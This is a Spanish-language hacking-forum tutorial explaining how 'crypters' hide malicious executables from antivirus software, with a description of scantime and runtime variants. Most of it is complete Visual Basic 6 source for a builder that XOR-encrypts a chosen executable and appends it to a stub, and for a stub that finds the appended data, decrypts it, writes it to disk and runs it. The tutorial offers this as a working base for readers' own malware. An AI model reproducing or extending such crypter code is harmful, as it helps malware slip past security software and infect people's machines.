Es un malware que hace indetectable un ejecutable.
Básicamente lo que hace es guardar cifrados los datos del ejecutable detectado, haciendo invisible el archivo para los AV. Una vez que se ejecute el archivo cifrado el programa lo descifra y ejecuta.
Tipos de cripters.
Existen dos tipos:
-Scantime: El programa que queremos proteger al descifrarlo se guarda en disco para ejecutarlo.
-Runtime: el programa que estamos protegiendo se ejecuta en memoria sin guardarlo en el disco.
Funcionamiento del cripter.
Esto puede parecer complejo al principio pero es muy simple. Para que un cripter funcione tenemos que tener dos archivos:
-Builder (o Creador): será el que se encargara de cifrar el archivo que queremos proteger y unirlo con el stub.
-Stub: es el ejecutable que descifra el archivo y lo ejecuta, osea el que protege el archivo haciendolo indetectable.
Teniendo claro que tenemos que tener esos dos archivos para que nuestro ejecutable funcione vamos a verlo mas despacio....
Paso 1: el builder lee el archivo que queremos proteger y cifra sus datos.
Paso 2: El builder lee el stub y coge sus datos
Paso 3: El builder genera un archivo exe con la siguiente estructura...
STUB + "MARCA" + DATOS CIFRADOS
la "MARCA" sera lo que nos indique el final del stub y donde empiezan los datos que hay que descifrar y ejecutar.
Paso 4: Una vez que tenemos generado nuestro archivo protegido el stub se ejecuta, se lee a si mismo, busca la "MARCA" y todos los datos que hay a partir de ahi los descifra y los ejecuta.
Programando la teoría.
Primero programaremos el builder, el builder es generico, osea sirve para un cripter scantime o runtime, vemos el código comentado...
Código
Option Explicit Private Sub AbrirArchivo_Click() ' Boton con el que seleccionaremos el archivo ejecutable With CD ' Objeto CommonDialog .Filter = "Archivos ejecutables |*.exe" ' Le decimos que solo puedan seleccionar archivos ejecutables .ShowOpen Text1.Text = .FileName ' Guardamos el ejecutable que selecciono en el textbox1 End With End Sub Private Sub Cifrar_Click() ' Boton que cifra y genera el archivo Dim Datos As String Dim DatosCifrados As String Dim Stub As String Open Text1.Text For Binary As #1 ' Leemos el archivo que queremos cifrar Datos = Space(LOF(1)) Get #1, , Datos Close #1 DatosCifrados = CifrarDatos(Datos) ' Ciframos los datos Open App.Path & "\Stub.exe" For Binary As #2 ' Leemos el stub Stub = Space(LOF(2)) Get #2, , Stub Close #2 Open App.Path & "\Generado.exe" For Binary As #3 ' generamos el ejecutable final cifrado: Put #3, , Stub ' Escribimos el stub Put #3, , "FORO.ELHACKER.NET" ' Escribimos nuestra "MARCA" Put #3, , DatosCifrados ' Escribimos los datos cifrados Close #3 MsgBox "Archivo cifrado" ' Terminamos de cifrar End Sub Public Function CifrarDatos(Datos As String) As String ' Funcion que cifra los datos Dim i As Integer Dim Buffer As String For i = 1 To Len(Datos) Buffer = Buffer & Chr(Asc(Mid(Datos, i, 1)) Xor 5) Next i CifrarDatos = Buffer End Function
Ahora el stub (de un cripter scantime).
Código
Option Explicit Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long Private Sub Form_Load() Dim Misdatos As String Dim cifrados As String Dim Descifrados As String Open App.Path & "\Generado.exe" For Binary As #1 ' Nos leemos a nostros mismos Misdatos = Space(LOF(1)) Get #1, , Misdatos Close #1 cifrados = Split(Misdatos, "FORO.ELHACKER.NET")(1) ' Obtenemos lo que hay a partis de la marca Descifrados = CifrarDatos(cifrados) ' Desciframos el ejecutable que teniamos guardados Open App.Path & "\Descifrado.exe" For Binary As #1 ' Generamos el ejecutable Put #1, , Descifrados ' NOTA: Normalmente se extrae el archivo en otra ruta, no en la ruta donde esta el ejecutbale cifrado. Close #1 Call ShellExecute(Me.hwnd, "Open", App.Path & "\Descifrado.exe", "", "", 1) ' Ejecutamos el ejecutable End Sub Public Function CifrarDatos(Datos As String) As String ' Funcion que descifra los datos Dim i As Integer Dim Buffer As String For i = 1 To Len(Datos) Buffer = Buffer & Chr(Asc(Mid(Datos, i, 1)) Xor 5) Next i CifrarDatos = Buffer End Function
Bién, ya tenemos programado nuestro primer cripter
Ahora para hacerlo RunTime (Que son los que se usan normalmente) lo que tenemos que hacer es crear un RunPE, pero esto no se tratará en este tutorial. Para poder entender su funcionamiento podeis leer sobre el formato PE, aquí un tema con información al respecto:
http://foro.elhacker.net/analisis_y_diseno_de_malware/formato_pe-t446963.0.html
Espero que haya servido como guia a los que no tenian idea de como hacerlo, ahora tengan una base.
saludos.